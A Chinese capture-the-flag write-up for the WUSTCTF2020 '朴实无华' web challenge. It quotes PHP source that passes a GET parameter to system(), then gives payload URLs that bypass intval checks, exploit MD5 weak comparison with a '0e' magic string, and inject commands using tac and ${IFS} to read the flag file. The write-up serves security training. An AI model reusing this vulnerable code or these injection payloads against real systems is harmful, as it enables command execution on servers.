[WUSTCTF2020]朴实无华 ctf

[WUSTCTF2020]朴实无华

知识点:

  1. intval函数
  2. php MD5 弱比较
  3. tac读取文件
  4. ${IFS}空格绕过

[WUSTCTF2020]朴实无华 ctf_第1张图片

进入环境
在这里插入图片描述
robots.txt里面有东西

[WUSTCTF2020]朴实无华 ctf_第2张图片
进去这个文件
[WUSTCTF2020]朴实无华 ctf_第3张图片
好家伙
假的flag

就在这个页面到处看看
[WUSTCTF2020]朴实无华 ctf_第4张图片
在这里插入图片描述
响应头里面又有东西
访问
[WUSTCTF2020]朴实无华 ctf_第5张图片
朴实无华,我知道题目为啥叫朴实无华了
[WUSTCTF2020]朴实无华 ctf_第6张图片
接下来代码审计

我电脑的编码好像有问题,中文是乱码
不过问题不大
我去复制别人的

//level 1
if (isset($_GET['num'])){
     
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
     
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"
; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"
; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"
; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); }

一共有三层绕过
先是level1
[WUSTCTF2020]朴实无华 ctf_第7张图片
GET传参num,而且num的值既要小于2020,加1后又要大于2021…
如果传入的num不满足条件,就会变成穷人
如果不传入num,就要去非洲
[WUSTCTF2020]朴实无华 ctf_第8张图片
[WUSTCTF2020]朴实无华 ctf_第9张图片
注意这里

echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1

如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1
对字符串’1e10’+1可以将字符串类型强行转换成数字类型
[WUSTCTF2020]朴实无华 ctf_第10张图片
构造payload
/fl4g.php?num=‘2e4’

level2
[WUSTCTF2020]朴实无华 ctf_第11张图片
要求传入一个叫md5的参数,然后对其进行MD5加密,并且加密前后的值要求相等
注意是==
所以在MD5弱类型这方面下手

php 弱类型总结

找一个字符串,使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’开头的,这样子,就能保证加密前后的值是相等==的了

0e215962017

构造
/fl4g.php?num=2e4&md5=0e215962017

level3
[WUSTCTF2020]朴实无华 ctf_第12张图片
要求传入参数get_flag,并且不能有空格
如果get_flag里面有cat,就会被替换成wctf2020
传入的get_flag会当作系统命令被执行

先看看当前目录下都有什么
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
在这里插入图片描述
要读取那个很长的flag文件
读取文件用cat,但是这里被换掉了
所以我们改用tac
[WUSTCTF2020]朴实无华 ctf_第13张图片
读取文件的命令是tac fllllaaaag,但是这里根据逻辑不能填空格

可以利用${IFS}替代空格

浅谈CTF中命令执行与绕过的小技巧

/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

你可能感兴趣的:(ctf)